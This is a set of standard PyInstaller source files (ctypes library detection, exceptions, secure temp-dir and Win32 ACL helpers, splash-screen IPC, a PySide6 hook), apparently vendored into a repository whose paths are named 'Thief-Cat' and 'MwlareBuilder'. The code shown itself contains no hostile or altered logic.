        elif binary != os.path.basename(binary):
            # TODO make these warnings show up somewhere.
            try:
                filename = co.co_filename
            except Exception:
                filename = 'UNKNOWN'
            logger.warning(
                "Ignoring %s imported from %s - only basenames are supported with ctypes imports!", binary, filename
            )
            binaries.remove(binary)

    binaries = _resolveCtypesImports(binaries)
    return binaries


def __recursively_scan_code_objects_for_ctypes(code: CodeType):
    """
    Detects ctypes dependencies, using reasonable heuristics that should cover most common ctypes usages; returns a
    list containing names of binaries detected as dependencies.
    """
    from PyInstaller.depend.bytecode import any_alias, search_recursively

    binaries = []
    ctypes_dll_names = {
        *any_alias("ctypes.CDLL"),
        *any_alias("ctypes.cdll.LoadLibrary"),
        *any_alias("ctypes.WinDLL"),
        *any_alias("ctypes.windll.LoadLibrary"),
        *any_alias("ctypes.OleDLL"),
        *any_alias("ctypes.oledll.LoadLibrary"),
        *any_alias("ctypes.PyDLL"),
        *any_alias("ctypes.pydll.LoadLibrary"),
    }
    find_library_names = {
        *any_alias("ctypes.util.find_library"),
    }

    for calls in bytecode.recursive_function_calls(code).values():
        for (name, args) in calls:
            if not len(args) == 1 or not isinstance(args[0], str):
                continue
            if name in ctypes_dll_names:
                # ctypes.*DLL() or ctypes.*dll.LoadLibrary()
                binaries.append(*args)
            elif name in find_library_names:
                # ctypes.util.find_library() needs to be handled separately, because we need to resolve the library base
                # name given as the argument (without prefix and suffix, e.g. 'gs') into corresponding full name (e.g.,
                # 'libgs.so.9').
                libname = args[0]
                if libname:
                    try:  # this try was inserted due to the ctypes bug https://github.com/python/cpython/issues/93094
                        libname = ctypes.util.find_library(libname)
                    except FileNotFoundError:
                        libname = None
                        logger.warning(
                            'ctypes.util.find_library raised a FileNotFoundError. '
                            'Supressing and assuming no lib with the name "%s" was found.', args[0]
                        )
                    if libname:
                        # On Windows, `find_library` may return a full pathname. See issue #1934.
                        libname = os.path.basename(libname)
                        binaries.append(libname)

    # The above handles any flavour of function/class call. We still need to capture the (albeit rarely used) case of
    # loading libraries with ctypes.cdll's getattr.
    for i in search_recursively(_scan_code_for_ctypes_getattr, code).values():
        binaries.extend(i)

    return binaries


_ctypes_getattr_regex = bytecode.bytecode_regex(
    rb"""
    # Matches 'foo.bar' or 'foo.bar.whizz'.

    # Load the 'foo'.
    (
      (?:(?:""" + bytecode._OPCODES_EXTENDED_ARG + rb""").)*
      (?:""" + bytecode._OPCODES_FUNCTION_GLOBAL + rb""").
    )

    # Load the 'bar.whizz' (one opcode per name component, each possibly preceded by name reference extension).
    (
      (?:
        (?:(?:""" + bytecode._OPCODES_EXTENDED_ARG + rb""").)*
        (?:""" + bytecode._OPCODES_FUNCTION_LOAD + rb""").
      )+
    )
"""
)


def _scan_code_for_ctypes_getattr(code: CodeType):
    """
    Detect uses of ``ctypes.cdll.library_name``, which implies that ``library_name.dll`` should be collected.
    """

    key_names = ("cdll", "oledll", "pydll", "windll")

    for match in bytecode.finditer(_ctypes_getattr_regex, code.co_code):
        name, attrs = match.groups()
        name = bytecode.load(name, code)
        attrs = bytecode.loads(attrs, code)

        if attrs and attrs[-1] == "LoadLibrary":
            continue

        # Capture `from ctypes import ole; ole.dll_name`.
        if len(attrs) == 1:
            if name in key_names:
                yield attrs[0] + ".dll"
        # Capture `import ctypes; ctypes.ole.dll_name`.
        if len(attrs) == 2:
            if name == "ctypes" and attrs[0] in key_names:
                yield attrs[1] + ".dll"


# TODO: reuse this code with modulegraph implementation.
def _resolveCtypesImports(cbinaries):
    """
    Completes ctypes BINARY entries for modules with their full path.

    Input is a list of c-binary-names (as found by `scan_code_instruction_for_ctypes`). Output is a list of tuples
    ready to be appended to the ``binaries`` of a modules.

    This function temporarily extents PATH, LD_LIBRARY_PATH or DYLD_LIBRARY_PATH (depending on the platform) by
    CONF['pathex'] so shared libs will be search there, too.

    Example:
    >>> _resolveCtypesImports(['libgs.so'])
    [(libgs.so', ''/usr/lib/libgs.so', 'BINARY')]
    """
    from ctypes.util import find_library

    from PyInstaller.config import CONF

    if compat.is_unix:
        envvar = "LD_LIBRARY_PATH"
    elif compat.is_darwin:
        envvar = "DYLD_LIBRARY_PATH"
    else:
        envvar = "PATH"

    def _setPaths():
        path = os.pathsep.join(CONF['pathex'])
        old = compat.getenv(envvar)
        if old is not None:
            path = os.pathsep.join((path, old))
        compat.setenv(envvar, path)
        return old

    def _restorePaths(old):
        if old is None:
            compat.unsetenv(envvar)
        else:
            compat.setenv(envvar, old)

    ret = []

    # Try to locate the shared library on the disk. This is done by calling ctypes.util.find_library with
    # ImportTracker's local paths temporarily prepended to the library search paths (and restored after the call).
    old = _setPaths()
    for cbin in cbinaries:
        try:
            # There is an issue with find_library() where it can run into errors trying to locate the library. See
            # #5734.
            cpath = find_library(os.path.splitext(cbin)[0])
        except FileNotFoundError:
            # In these cases, find_library() should return None.
            cpath = None
        if compat.is_unix:
            # CAVEAT: find_library() is not the correct function. ctype's documentation says that it is meant to resolve
            # only the filename (as a *compiler* does) not the full path. Anyway, it works well enough on Windows and
            # Mac OS. On Linux, we need to implement more code to find out the full path.
            if cpath is None:
                cpath = cbin
            # "man ld.so" says that we should first search LD_LIBRARY_PATH and then the ldcache.
            for d in compat.getenv(envvar, '').split(os.pathsep):
                if os.path.isfile(os.path.join(d, cpath)):
                    cpath = os.path.join(d, cpath)
                    break
            else:
                if LDCONFIG_CACHE is None:
                    load_ldconfig_cache()
                if cpath in LDCONFIG_CACHE:
                    cpath = LDCONFIG_CACHE[cpath]
                    assert os.path.isfile(cpath)
                else:
                    cpath = None
        if cpath is None:
            # Skip warning message if cbin (basename of library) is ignored. This prevents messages like:
            # 'W: library kernel32.dll required via ctypes not found'
            if not include_library(cbin):
                continue
            logger.warning("Library %s required via ctypes not found", cbin)
        else:
            if not include_library(cpath):
                continue
            ret.append((cbin, cpath, "BINARY"))
    _restorePaths(old)
    return ret


LDCONFIG_CACHE = None  # cache the output of `/sbin/ldconfig -p`


def load_ldconfig_cache():
    """
    Create a cache of the `ldconfig`-output to call it only once.
    It contains thousands of libraries and running it on every dylib is expensive.
    """
    global LDCONFIG_CACHE

    if LDCONFIG_CACHE is not None:
        return

    if compat.is_musl:
        # Musl deliberately doesn't use ldconfig. The ldconfig executable either doesn't exist or it's a functionless
        # executable which, on calling with any arguments, simply tells you that those arguments are invalid.
        LDCONFIG_CACHE = {}
        return

    from distutils.spawn import find_executable
    ldconfig = find_executable('ldconfig')
    if ldconfig is None:
        # If `ldconfig` is not found in $PATH, search for it in some fixed directories. Simply use a second call instead
        # of fiddling around with checks for empty env-vars and string-concat.
        ldconfig = find_executable('ldconfig', '/usr/sbin:/sbin:/usr/bin:/usr/sbin')

        # If we still could not find the 'ldconfig' command...
        if ldconfig is None:
            LDCONFIG_CACHE = {}
            return

    if compat.is_freebsd or compat.is_openbsd:
        # This has a quite different format than other Unixes:
        # [vagrant@freebsd-10 ~]$ ldconfig -r
        # /var/run/ld-elf.so.hints:
        #     search directories: /lib:/usr/lib:/usr/lib/compat:...
        #     0:-lgeom.5 => /lib/libgeom.so.5
        #   184:-lpython2.7.1 => /usr/local/lib/libpython2.7.so.1
        ldconfig_arg = '-r'
        splitlines_count = 2
        pattern = re.compile(r'^\s+\d+:-l(\S+)(\s.*)? => (\S+)')
    else:
        # Skip first line of the library list because it is just an informative line and might contain localized
        # characters. Example of first line with locale set to cs_CZ.UTF-8:
        #$ /sbin/ldconfig -p
        #V keši „/etc/ld.so.cache“ nalezeno knihoven: 2799
        #      libzvbi.so.0 (libc6,x86-64) => /lib64/libzvbi.so.0
        #      libzvbi-chains.so.0 (libc6,x86-64) => /lib64/libzvbi-chains.so.0
        ldconfig_arg = '-p'
        splitlines_count = 1
        pattern = re.compile(r'^\s+(\S+)(\s.*)? => (\S+)')

    try:
        text = compat.exec_command(ldconfig, ldconfig_arg)
    except ExecCommandFailed:
        logger.warning("Failed to execute ldconfig. Disabling LD cache.")
        LDCONFIG_CACHE = {}
        return

    text = text.strip().splitlines()[splitlines_count:]

    LDCONFIG_CACHE = {}
    for line in text:
        # :fixme: this assumes library names do not contain whitespace
        m = pattern.match(line)

        # Sanitize away any abnormal lines of output.
        if m is None:
            # Warn about it then skip the rest of this iteration.
            if re.search("Cache generated by:", line):
                # See #5540. This particular line is harmless.
                pass
            else:
                logger.warning("Unrecognised line of output %r from ldconfig", line)
            continue

        path = m.groups()[-1]
        if compat.is_freebsd or compat.is_openbsd:
            # Insert `.so` at the end of the lib's basename. soname and filename may have (different) trailing versions.
            # We assume the `.so` in the filename to mark the end of the lib's basename.
            bname = os.path.basename(path).split('.so', 1)[0]
            name = 'lib' + m.group(1)
            assert name.startswith(bname)
            name = bname + '.so' + name[len(bname):]
        else:
            name = m.group(1)
        # ldconfig may know about several versions of the same lib, e.g., different arch, different libc, etc.
        # Use the first entry.
        if name not in LDCONFIG_CACHE:
            LDCONFIG_CACHE[name] = path

ThiefCat_assets/MwlareBuilder/depend/utils.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

from PyInstaller import compat


class ExecCommandFailed(SystemExit):
    pass


class HookError(Exception):
    """
    Base class for hook related errors.
    """
    pass


class ImportErrorWhenRunningHook(HookError):
    def __str__(self):
        return (
            "Failed to import module {0} required by hook for module {1}. Please check whether module {0} actually "
            "exists and whether the hook is compatible with your version of {1}: You might want to read more about "
            "hooks in the manual and provide a pull-request to improve PyInstaller.".format(self.args[0], self.args[1])
        )


class RemovedCipherFeatureError(SystemExit):
    def __init__(self, message):
        super().__init__(
            f"Bytecode encryption was removed in PyInstaller v6.0. {message}"
            " For the rationale and alternatives see https://github.com/PyInstaller/PyInstaller/pull/6999"
        )


class RemovedExternalManifestError(SystemExit):
    def __init__(self, message):
        super().__init__(f"Support for external executable manifest was removed in PyInstaller v6.0. {message}")


class RemovedWinSideBySideSupportError(SystemExit):
    def __init__(self, message):
        super().__init__(
            f"Support for collecting and processing WinSxS assemblies was removed in PyInstaller v6.0. {message}"
        )


_MISSING_PYTHON_LIB_MSG = \
"""Python library not found: {0}
    This means your Python installation does not come with proper shared library files.
    This usually happens due to missing development package, or unsuitable build parameters of the Python installation.

    * On Debian/Ubuntu, you need to install Python development packages:
      * apt-get install python3-dev
      * apt-get install python-dev
    * If you are building Python by yourself, rebuild with `--enable-shared` (or, `--enable-framework` on macOS).
"""


class PythonLibraryNotFoundError(IOError):
    def __init__(self):
        super().__init__(_MISSING_PYTHON_LIB_MSG.format(", ".join(compat.PYDYLIB_NAMES),))


class InvalidSrcDestTupleError(SystemExit):
    def __init__(self, src_dest, message):
        super().__init__(f"Invalid (SRC, DEST_DIR) tuple: {src_dest!r}. {message}")


class ImportlibMetadataError(SystemExit):
    def __init__(self):
        super().__init__(
            "PyInstaller requires importlib.metadata from python >= 3.10 stdlib or importlib_metadata from "
            "importlib-metadata >= 4.6"
        )

ThiefCat_assets/MwlareBuilder/exceptions.py
KSCH-58/Thief-Cat
# -----------------------------------------------------------------------------
# Copyright (c) 2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
# -----------------------------------------------------------------------------

import os
import sys
import errno
import tempfile

# Helper for creating temporary directories with access restricted to the user running the process.
# On POSIX systems, this is already achieved by `tempfile.mkdtemp`, which uses 0o700 permissions mask.
# On Windows, however, the POSIX permissions semantics have no effect, and we need to provide our own implementation
# that restricts the access by passing appropriate security attributes to the `CreateDirectory` function.

if os.name == 'nt':
    from . import _win32

    def secure_mkdtemp(suffix=None, prefix=None, dir=None):
        """
        Windows-specific replacement for `tempfile.mkdtemp` that restricts access to the user running the process.
        Based on `mkdtemp` implementation from python 3.11 stdlib.
        """

        prefix, suffix, dir, output_type = tempfile._sanitize_params(prefix, suffix, dir)

        names = tempfile._get_candidate_names()
        if output_type is bytes:
            names = map(os.fsencode, names)

        for seq in range(tempfile.TMP_MAX):
            name = next(names)
            file = os.path.join(dir, prefix + name + suffix)
            sys.audit("tempfile.mkdtemp", file)
            try:
                _win32.secure_mkdir(file)
            except FileExistsError:
                continue  # try again
            except PermissionError:
                # This exception is thrown when a directory with the chosen name already exists on windows.
                if (os.name == 'nt' and os.path.isdir(dir) and os.access(dir, os.W_OK)):
                    continue
                else:
                    raise
            return file

        raise FileExistsError(errno.EEXIST, "No usable temporary directory name found")

else:
    secure_mkdtemp = tempfile.mkdtemp

ThiefCat_assets/MwlareBuilder/fake-modules/_pyi_rth_utils/__init__.py
KSCH-58/Thief-Cat
# -----------------------------------------------------------------------------
# Copyright (c) 2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
# -----------------------------------------------------------------------------

import ctypes
import ctypes.wintypes

# Constants from win32 headers
TOKEN_QUERY = 0x0008

TokenUser = 1  # from TOKEN_INFORMATION_CLASS enum

ERROR_INSUFFICIENT_BUFFER = 122

INVALID_HANDLE = -1

FORMAT_MESSAGE_ALLOCATE_BUFFER = 0x00000100
FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000

SDDL_REVISION1 = 1

# Structures for ConvertSidToStringSidW
PSID = ctypes.wintypes.LPVOID


class SID_AND_ATTRIBUTES(ctypes.Structure):
    _fields_ = [
        ("Sid", PSID),
        ("Attributes", ctypes.wintypes.DWORD),
    ]


class TOKEN_USER(ctypes.Structure):
    _fields_ = [
        ("User", SID_AND_ATTRIBUTES),
    ]


PTOKEN_USER = ctypes.POINTER(TOKEN_USER)

# SECURITY_ATTRIBUTES structure for CreateDirectoryW
PSECURITY_DESCRIPTOR = ctypes.wintypes.LPVOID


class SECURITY_ATTRIBUTES(ctypes.Structure):
    _fields_ = [
        ("nLength", ctypes.wintypes.DWORD),
        ("lpSecurityDescriptor", PSECURITY_DESCRIPTOR),
        ("bInheritHandle", ctypes.wintypes.BOOL),
    ]


# win32 API functions, bound via ctypes.
# NOTE: we do not use ctypes.windll.<dll_name> to avoid modifying its (global) function prototypes, which might affect
# user's code.
advapi32 = ctypes.WinDLL("advapi32")
kernel32 = ctypes.WinDLL("kernel32")

advapi32.ConvertSidToStringSidW.restype = ctypes.wintypes.BOOL
advapi32.ConvertSidToStringSidW.argtypes = (
    PSID,  # [in] PSID Sid
    ctypes.POINTER(ctypes.wintypes.LPWSTR),  # [out] LPWSTR *StringSid
)

advapi32.ConvertStringSecurityDescriptorToSecurityDescriptorW.restype = ctypes.wintypes.BOOL
advapi32.ConvertStringSecurityDescriptorToSecurityDescriptorW.argtypes = (
    ctypes.wintypes.LPCWSTR,  # [in] LPCWSTR StringSecurityDescriptor
    ctypes.wintypes.DWORD,  # [in] DWORD StringSDRevision
    ctypes.POINTER(PSECURITY_DESCRIPTOR),  # [out] PSECURITY_DESCRIPTOR *SecurityDescriptor
    ctypes.wintypes.PULONG,  # [out] PULONG SecurityDescriptorSize
)

advapi32.GetTokenInformation.restype = ctypes.wintypes.BOOL
advapi32.GetTokenInformation.argtypes = (
    ctypes.wintypes.HANDLE,  # [in] HANDLE TokenHandle
    ctypes.c_int,  # [in] TOKEN_INFORMATION_CLASS TokenInformationClass
    ctypes.wintypes.LPVOID,  # [out, optional] LPVOID TokenInformation
    ctypes.wintypes.DWORD,  # [in] DWORD TokenInformationLength
    ctypes.wintypes.PDWORD,  # [out] PDWORD ReturnLength
)

kernel32.CloseHandle.restype = ctypes.wintypes.BOOL
kernel32.CloseHandle.argtypes = (
    ctypes.wintypes.HANDLE,  # [in] HANDLE hObject
)

kernel32.CreateDirectoryW.restype = ctypes.wintypes.BOOL
kernel32.CreateDirectoryW.argtypes = (
    ctypes.wintypes.LPCWSTR,  # [in] LPCWSTR lpPathName
    ctypes.POINTER(SECURITY_ATTRIBUTES),  # [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
)

kernel32.FormatMessageW.restype = ctypes.wintypes.DWORD
kernel32.FormatMessageW.argtypes = (
    ctypes.wintypes.DWORD,  # [in] DWORD dwFlags
    ctypes.wintypes.LPCVOID,  # [in, optional] LPCVOID lpSource
    ctypes.wintypes.DWORD,  # [in] DWORD dwMessageId
    ctypes.wintypes.DWORD,  # [in] DWORD dwLanguageId
    ctypes.wintypes.LPWSTR,  # [out] LPWSTR lpBuffer
    ctypes.wintypes.DWORD,  # [in] DWORD nSize
    ctypes.wintypes.LPVOID,  # [in, optional] va_list *Arguments
)

kernel32.GetCurrentProcess.restype = ctypes.wintypes.HANDLE
# kernel32.GetCurrentProcess has no arguments

kernel32.GetLastError.restype = ctypes.wintypes.DWORD
# kernel32.GetLastError has no arguments

kernel32.LocalFree.restype = ctypes.wintypes.BOOL
kernel32.LocalFree.argtypes = (
    ctypes.wintypes.HLOCAL,  # [in] _Frees_ptr_opt_ HLOCAL hMem
)

kernel32.OpenProcessToken.restype = ctypes.wintypes.BOOL
kernel32.OpenProcessToken.argtypes = (
    ctypes.wintypes.HANDLE,  # [in] HANDLE ProcessHandle
    ctypes.wintypes.DWORD,  # [in] DWORD DesiredAccess
    ctypes.wintypes.PHANDLE,  # [out] PHANDLE TokenHandle
)


def _win_error_to_message(error_code):
    """
    Convert win32 error code to message.
    """
    message_wstr = ctypes.wintypes.LPWSTR(None)
    ret = kernel32.FormatMessageW(
        FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
        None,  # lpSource
        error_code,  # dwMessageId
        0x400,  # dwLanguageId = MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT)
        ctypes.cast(
            ctypes.byref(message_wstr),
            ctypes.wintypes.LPWSTR,
        ),  # pointer to LPWSTR due to FORMAT_MESSAGE_ALLOCATE_BUFFER; needs to be cast to LPWSTR
        64,  # due to FORMAT_MESSAGE_ALLOCATE_BUFFER, this is minimum number of characters to allocate
        None,
    )
    if ret == 0:
        return None

    message = message_wstr.value
    kernel32.LocalFree(message_wstr)

    # Strip trailing CR/LF.
    if message:
        message = message.strip()
    return message


def _get_user_sid():
    """
    Obtain the SID for the current user.
    """
    process_token = ctypes.wintypes.HANDLE(INVALID_HANDLE)

    try:
        # Get access token for the current process
        ret = kernel32.OpenProcessToken(
            kernel32.GetCurrentProcess(),
            TOKEN_QUERY,
            ctypes.pointer(process_token),
        )
        if ret == 0:
            error_code = kernel32.GetLastError()
            raise RuntimeError(f"Failed to open process token! Error code: 0x{error_code:X}")

        # Query buffer size for user info structure
        user_info_size = ctypes.wintypes.DWORD(0)

        ret = advapi32.GetTokenInformation(
            process_token,
            TokenUser,
            None,
            0,
            ctypes.byref(user_info_size),
        )

        # We expect this call to fail with ERROR_INSUFFICIENT_BUFFER
        if ret == 0:
            error_code = kernel32.GetLastError()
            if error_code != ERROR_INSUFFICIENT_BUFFER:
                raise RuntimeError(f"Failed to query token information buffer size! Error code: 0x{error_code:X}")
        else:
            raise RuntimeError("Unexpected return value from GetTokenInformation!")

        # Allocate buffer
        user_info = ctypes.create_string_buffer(user_info_size.value)
        ret = advapi32.GetTokenInformation(
            process_token,
            TokenUser,
            user_info,
            user_info_size,
            ctypes.byref(user_info_size),
        )
        if ret == 0:
            error_code = kernel32.GetLastError()
            raise RuntimeError(f"Failed to query token information! Error code: 0x{error_code:X}")

        # Convert SID to string
        # Technically, we need to pass user_info->User.Sid, but as they are at the beginning of the
        # buffer, just pass the buffer instead...
        sid_wstr = ctypes.wintypes.LPWSTR(None)
        ret = advapi32.ConvertSidToStringSidW(
            ctypes.cast(user_info, PTOKEN_USER).contents.User.Sid,
            ctypes.pointer(sid_wstr),
        )
        if ret == 0:
            error_code = kernel32.GetLastError()
            raise RuntimeError(f"Failed to convert SID to string! Error code: 0x{error_code:X}")
        sid = sid_wstr.value
        kernel32.LocalFree(sid_wstr)
    except Exception:
        sid = None
    finally:
        # Close the process token
        if process_token.value != INVALID_HANDLE:
            kernel32.CloseHandle(process_token)

    return sid


# Get and cache current user's SID
_user_sid = _get_user_sid()


def secure_mkdir(dir_name):
    """
    Replacement for mkdir that limits the access to created directory to current user.
    """

    # Create security descriptor
    # Prefer actual user SID over SID S-1-3-4 (current owner), because at the time of writing, Wine does not properly
    # support the latter.
    sid = _user_sid or "S-1-3-4"

    # DACL descriptor (D):
    # ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid;(resource_attribute)
    # - ace_type = SDDL_ACCESS_ALLOWED (A)
    # - rights = SDDL_FILE_ALL (FA)
    # - account_sid = current user (queried SID)
    security_desc_str = f"D:(A;;FA;;;{sid})"
    security_desc = ctypes.wintypes.LPVOID(None)

    ret = advapi32.ConvertStringSecurityDescriptorToSecurityDescriptorW(
        security_desc_str,
        SDDL_REVISION1,
        ctypes.byref(security_desc),
        None,
    )
    if ret == 0:
        error_code = kernel32.GetLastError()
        raise RuntimeError(
            f"Failed to create security descriptor! Error code: 0x{error_code:X}, "
            f"message: {_win_error_to_message(error_code)}"
        )

    security_attr = SECURITY_ATTRIBUTES()
    security_attr.nLength = ctypes.sizeof(SECURITY_ATTRIBUTES)
    security_attr.lpSecurityDescriptor = security_desc
    security_attr.bInheritHandle = False

    # Create directory
    ret = kernel32.CreateDirectoryW(
        dir_name,
        security_attr,
    )
    if ret == 0:
        # Call failed; store error code immediately, to avoid it being overwritten in cleanup below.
        error_code = kernel32.GetLastError()

    # Free security descriptor
    kernel32.LocalFree(security_desc)

    # Exit on succeess
    if ret != 0:
        return

    # Construct OSError from win error code
    error_message = _win_error_to_message(error_code)

    # Strip trailing dot to match error message from os.mkdir().
    if error_message and error_message[-1] == '.':
        error_message = error_message[:-1]

    raise OSError(
        None,  # errno
        error_message,  # strerror
        dir_name,  # filename
        error_code,  # winerror
        None,  # filename2
    )

ThiefCat_assets/MwlareBuilder/fake-modules/_pyi_rth_utils/_win32.py
KSCH-58/Thief-Cat
# -----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
# -----------------------------------------------------------------------------

# This module is not a "fake module" in the classical sense, but a real module that can be imported. It acts as an RPC
# interface for the functions of the bootloader.
"""
This module connects to the bootloader to send messages to the splash screen.

It is intended to act as a RPC interface for the functions provided by the bootloader, such as displaying text or
closing. This makes the users python program independent of how the communication with the bootloader is implemented,
since a consistent API is provided.

To connect to the bootloader, it connects to a local tcp socket whose port is passed through the environment variable
'_PYIBoot_SPLASH'. The bootloader creates a server socket and accepts every connection request. Since the os-module,
which is needed to request the environment variable, is not available at boot time, the module does not establish the
connection until initialization.

The protocol by which the Python interpreter communicates with the bootloader is implemented in this module.

This module does not support reloads while the splash screen is displayed, i.e. it cannot be reloaded (such as by
importlib.reload), because the splash screen closes automatically when the connection to this instance of the module
is lost.
"""

import atexit
import os

# Import the _socket module instead of the socket module. All used functions to connect to the ipc system are
# provided by the C module and the users program does not necessarily need to include the socket module and all
# required modules it uses.
import _socket

__all__ = ["CLOSE_CONNECTION", "FLUSH_CHARACTER", "is_alive", "close", "update_text"]

try:
    # The user might have excluded logging from imports.
    import logging as _logging
except ImportError:
    _logging = None

try:
    # The user might have excluded functools from imports.
    from functools import update_wrapper
except ImportError:
    update_wrapper = None


# Utility
def _log(level, msg, *args, **kwargs):
    """
    Conditional wrapper around logging module. If the user excluded logging from the imports or it was not imported,
    this function should handle it and avoid using the logger.
    """
    if _logging:
        logger = _logging.getLogger(__name__)
        logger.log(level, msg, *args, **kwargs)


# These constants define single characters which are needed to send commands to the bootloader. Those constants are
# also set in the tcl script.
CLOSE_CONNECTION = b'\x04'  # ASCII End-of-Transmission character
FLUSH_CHARACTER = b'\x0D'  # ASCII Carriage Return character

# Module internal variables
_initialized = False
# Keep these variables always synchronized
_ipc_socket_closed = True
_ipc_socket = _socket.socket(_socket.AF_INET, _socket.SOCK_STREAM)


def _initialize():
    """
    Initialize this module

    :return:
    """
    global _initialized, _ipc_socket, _ipc_socket_closed
    try:
        _ipc_socket.connect(("localhost", _ipc_port))
        _ipc_socket_closed = False

        _initialized = True
        _log(20, "A connection to the splash screen was successfully established.")  # log-level: info
    except OSError as err:
        raise ConnectionError("Unable to connect to the tcp server socket on port %d" % _ipc_port) from err


# We expect a splash screen from the bootloader, but if _PYIBoot_SPLASH is not set, the module cannot connect to it.
try:
    _ipc_port = int(os.environ['_PYIBoot_SPLASH'])
    del os.environ['_PYIBoot_SPLASH']
    # Initialize the connection upon importing this module. This will establish a connection to the bootloader's TCP
    # server socket.
    _initialize()
except (KeyError, ValueError) as _err:
    # log-level: warning
    _log(
        30, "The environment does not allow connecting to the splash screen. Are the splash resources attached to the "
        "bootloader or did an error occur?",
        exc_info=_err
    )
except ConnectionError as _err:
    # log-level: error
    _log(40, "Cannot connect to the bootloaders ipc server socket", exc_info=_err)


def _check_connection(func):
    """
    Utility decorator for checking whether the function should be executed.

    The wrapped function may raise a ConnectionError if the module was not initialized correctly.
    """
    def wrapper(*args, **kwargs):
        """
        Executes the wrapped function if the environment allows it.

        That is, if the connection to to bootloader has not been closed and the module is initialized.

        :raises RuntimeError: if the module was not initialized correctly.
        """
        if _initialized and _ipc_socket_closed:
            _log(
                20, "The module has been disabled, so the use of the splash screen is no longer supported."
            )  # log-level: info
            return
        elif not _initialized:
            raise RuntimeError("This module is not initialized; did it fail to load?")

        return func(*args, **kwargs)

    if update_wrapper:
        # For runtime introspection
        update_wrapper(wrapper, func)

    return wrapper


@_check_connection
def _send_command(cmd, args=None):
    """
    Send the command followed by args to the splash screen.

    :param str cmd: The command to send. All command have to be defined as procedures in the tcl splash screen script.
    :param list[str] args: All arguments to send to the receiving function
    """
    if args is None:
        args = []

    full_cmd = "%s(%s)" % (cmd, " ".join(args))
    try:
        _ipc_socket.sendall(full_cmd.encode("utf-8") + FLUSH_CHARACTER)
    except OSError as err:
        raise ConnectionError("Unable to send '%s' to the bootloader" % full_cmd) from err


def is_alive():
    """
    Indicates whether the module can be used.

    Returns False if the module is either not initialized or was disabled by closing the splash screen. Otherwise,
    the module should be usable.
    """
    return _initialized and not _ipc_socket_closed


@_check_connection
def update_text(msg: str):
    """
    Updates the text on the splash screen window.

    :param str msg: the text to be displayed
    :raises ConnectionError: If the OS fails to write to the socket.
    :raises RuntimeError: If the module is not initialized.
    """
    _send_command("update_text", [msg])


def close():
    """
    Close the connection to the ipc tcp server socket.

    This will close the splash screen and renders this module unusable. After this function is called, no connection
    can be opened to the splash screen again and all functions in this module become unusable.
    """
    global _ipc_socket_closed
    if _initialized and not _ipc_socket_closed:
        _ipc_socket.sendall(CLOSE_CONNECTION)
        _ipc_socket.close()
        _ipc_socket_closed = True


@atexit.register
def _exit():
    close()


# Discarded idea:
# Problem:
# There was a race condition between the tcl (splash screen) and python interpreter. Initially the tcl was started as a
# separate thread next to the bootloader thread, which starts python. Tcl sets the environment variable
# '_PYIBoot_SPLASH' with a port to connect to. If the python interpreter is faster initialized than the tcl interpreter
# (sometimes the case in onedir mode) the environment variable does not yet exist. Since python caches the environment
# variables at startup, updating the environ from tcl does not update the python environ.
#
# Considered Solution:
# Dont rely on python itself to look up the environment variables. We could implement via ctypes functions to look up
# the latest environ. See https://stackoverflow.com/a/33642551/5869139 for a possible implementation.
#
# Discarded because:
# This module would need to implement for every supported OS a dll hook to link to the environ variable, technically
# reimplementing the C function 'convertenviron' from posixmodule.c_ in python. The implemented solution now waits for
# the tcl interpreter to finish before starting python.
#
# .. _posixmodule.c:
#  https://github.com/python/cpython/blob/3.7/Modules/posixmodule.c#L1315-L1393

ThiefCat_assets/MwlareBuilder/fake-modules/pyi_splash.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2021-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

from PyInstaller.utils.hooks import check_requirement
from PyInstaller.utils.hooks.qt import pyside6_library_info

# Only proceed if PySide6 can be imported.
if pyside6_library_info.version is not None:
    hiddenimports = ['shiboken6', 'inspect']

    # Starting with PySide6 6.4.0, we need to collect PySide6.support.deprecated for | and & operators to work with
    # Qt key and key modifiers enums. See #7249.
    if check_requirement("PySide6 >= 6.4.0"):
        hiddenimports += ['PySide6.support.deprecated']

    # Collect required Qt binaries.
    binaries = pyside6_library_info.collect_extra_binaries()

ThiefCat_assets/MwlareBuilder/hooks/hook-PySide6.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2005-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) with exception for distributing the bootloader.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception)
#-----------------------------------------------------------------------------

from PyInstaller.utils.hooks import check_requirement

hiddenimports = []

# From Python 3.6 and later ``distutils.sysconfig`` takes on the same behaviour as regular ``sysconfig`` of moving the
# config vars to a module (see hook-sysconfig.py). It doesn't use a nice `get module name` function like ``sysconfig``
# does to help us locate it but the module is the same file that ``sysconfig`` uses so we can use the
# ``_get_sysconfigdata_name()`` from regular ``sysconfig``.
try:
    import sysconfig
